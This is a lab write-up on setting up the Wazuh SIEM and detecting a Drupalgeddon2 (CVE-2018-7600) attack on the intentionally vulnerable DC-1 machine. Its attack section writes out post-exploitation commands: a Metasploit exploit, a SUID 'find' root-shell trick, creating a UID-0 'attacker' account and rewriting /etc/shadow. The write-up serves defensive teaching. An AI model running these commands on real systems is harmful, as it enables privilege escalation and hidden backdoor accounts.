SIEM Monitoring using Wazuh by Francis Jeremiah

Objective: Carry out an API Attack on an API of your choice then implement a SIEM of your choice to show the logs of all events.


This lab was created to simulate an API Attack and capture the reflecting impacts on the server or machine that it is being targeted on. The components are Wazuh, Kali Linux and DC-1(Victim).

In this lab the vulnerability that is going to be exploited is CVE-2018–7600, This vulnerability can enable remote code execution and results from insufficient input validation on the Drupal 7 Form API. More information about the API and it’s weakness can be found here:


This exercise is going to be created using VMs created in VirtualBox. The components include

  1. SIEM — Wazuh: SIEMs( Security Information and Events Management systems) are tools used to aggregate and analyze security-related events and incidents. SIEMs generally do the following below:
  • Data collection — logs.
  • Setting policies — In the case of this lab, Security Configuration Assessment(SCA)
  • Data correlation.
  • Setting Notifications — Events, Incidents and Attacks

2. Victim — DC-1: This is a purposely built vulnerable linux machine for the purpose of gaining experience in the world of penetration testing. It runs Drupal CMS on a web server.

3. Attacker — Kali: Widely known offensive distro with an armory of hacking tools.

Network Layout:

A VirtualBox Host-Only Ethernet Adapter was used to network the components.

IP Address

Wazuh —

DC-1 —

Kali —


Simply fire up a virtual appliance of Kali. It’s easy to set up.


The SIEM implemented is Wazuh, it is an open source tool used to collect, aggregate, index and analyze security data, helping organizations detect intrusions, threats and behavioral anomalies. A simple to use and install version pre installed with [ CentOS 7, Wazuh manager: 4.1.5, Open Distro for Elasticsearch: 7.10.2, Filebeat-OSS: 7.10.2, Kibana: 7.10.2, Wazuh Kibana plugin: 4.1.5–7.10.2 ] can be used instead of having to go through the rigorous task of setting up Wazuh from scratch.


Download the OVA file from

After the virtual appliance has been imported, login in with root and wazuh.

Take note of the IP address of the wazuh server, this would be used in configuration of wazuh agents.

From a browser, try to access the wazuh machine ip address,

Wazuh Dashboard


DC-1 VirtualBox OVA can be downloaded from,292/#download.

Click on the OVA file and install. After proper installation you will arrive at a login page. No need to go further, it’s all set.

Installing the Wazuh agent

Using ssh(The box doesn’t provide login credentials, so it was pre hacked with this vuln to create a user) to login to the victim machine because of the upgraded shell it provides to download wazuh-agent.


WAZUH_MANAGER=”" dpkg -i wazuh-agent_4.1.5–1_i386.deb

Since we are configuring our agents remotely from the manager and the configuration contains commands (in SCA and command features), we need to enable the following settings in the agent:

echo -e “sca.remote_commands=1\nwazuh_command.remote_commands=1” >> /var/ossec/etc/local_internal_options.conf

To apply changes, restart agent

service wazuh-agent restart

Reloading the Wazuh Dashboard and we can see that the agent has been added

Note that the agent and manager have to be the same version if not the agent would appear under “Never Connect Agents”.


Vulnerability detection in Wazuh is done by:

  • Agents collect information about the local applications and send it to the manager periodically; a sqlite db per agent is stored on the manager with this information. The manager uses a global vulnerability database which is created from publicly available CVE repositories, which is used to check the information with the agent’s applications inventory data.
  • Security Configuration Assessment module: This is a set of predefined policies that Wazuh used to run configuration checks against infrastructure with the agents installed on. This is used for security harding and is written in yaml. If the policies aren’t met an alert will be sent to the manager.

We know that the DC-1 runs Drupal, so let’s write a SCA configuration to detect dangerous binaries with SUID bit set

nano /var/ossec/etc/shared/default/sca_systemfiles.yaml# Security Configuration Assessment# System filespolicy:id: "system-files"file: "system-files.yml"name: "Security checks for system files"description: "Analyse system files to find vulnerabilities"checks:- id: 100002title: "Dangerous binaries with SUID bit set found"description: "Binaries with SUID bit set can result in a root shell."condition: nonerules:- 'c:find /usr/bin -perm -u=s -type f -printf "%y:%p\n" -> !r:arping|at|bwrap|chfn|chrome-sandbox|chsh|dbus-daemon-launch-helper|dmcrypt-get-device|exim4|fusermount|gpasswd|helper|kismet_capture|lxc-user-nic|mount|mount.cifs|mount.ecryptfs_private|mount.nfs|newgidmap|newgrp|newuidmap|ntfs-3g|passwd|ping|ping6|pkexec|polkit-agent-helper-1|pppd|snap-confine|ssh-keysign|su|sudo|traceroute6.iputils|ubuntu-core-launcher|umount|VBoxHeadless|VBoxNetAdpCtl|VBoxNetDHCP|VBoxNetNAT|VBoxSDL|VBoxVolInfo|VirtualBoxVM|vmware-authd|vmware-user-suid-wrapper|vmware-vmx|vmware-vmx-debug|vmware-vmx-stats|Xorg.wrap|chage|crontab|^"$'

Now to enable the SCA policies in the agent configuration

nano /var/ossec/etc/shared/default/agent.conf<agent_config>

We can configure wazuh to check for malicious commands like [eval(base64_decode], so we will list processes to check for this.

To create a command, we use the command wodle in Wazuh. This has to be added to the /var/ossec/etc/shared/default/agent.conf file.

<wodle name=”command”>
  <command>ps -eo user,pid,cmd</command>

Now create the rule to detect processes evaluating base64 code

nano /var/ossec/etc/rules/local_rules.xml<group name=”wazuh,”>
  <rule id=”100001" level=”0">
    <description>List of running process.</description> 
    <rule id=”100002" level=”10">
    <description>Reverse shell detected.</description>

Overview of Victim machine.

Looking at the SCA dashboard,

We can see that it failed because it detected SUID,

The Attack

Security Events Before the attack

Firing up metasploit on the Kali machine and using the exploit/unix/webapp/drupal_drupalgeddon2 exploit to get RCE.

Further, let’s create a user on the compromised machine.

python -c ‘import pty; pty.spawn(“/bin/bash”)’/var/wwwfind /usr/bin -perm -u=s -type ffind . -exec /bin/sh \; -quit/usr/sbin/useradd -ou 0 -g 0 attackersed -i ‘s/attacker:!:/attacker:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4\/cVqpO00:/g’ /etc/shadow

After the attack, let’s look at the reflection on the SIEM.

We can see the start of the attack indicated in “Web server 400 error code”, then the reverse shell and user creation was also spotted.


Wazuh is a cool open source SIEM but it is important to note that rules to catch machine specific events have to be manually created. This can be initially tedious but the results are worth it. Alienvault OSSIM was the initial SIEM of choice but upon installation it was noticed that it has lots of limitations.

Originally posted at:

About the Author

Francis Jeremiah

Francis Jeremiah is a Security Researcher who spends time exploring OSINT Techniques, deploying Infrastructure and researching Offensive Capabilities.

September 16, 2021
Notify of

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Inline Feedbacks
View all comments
© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013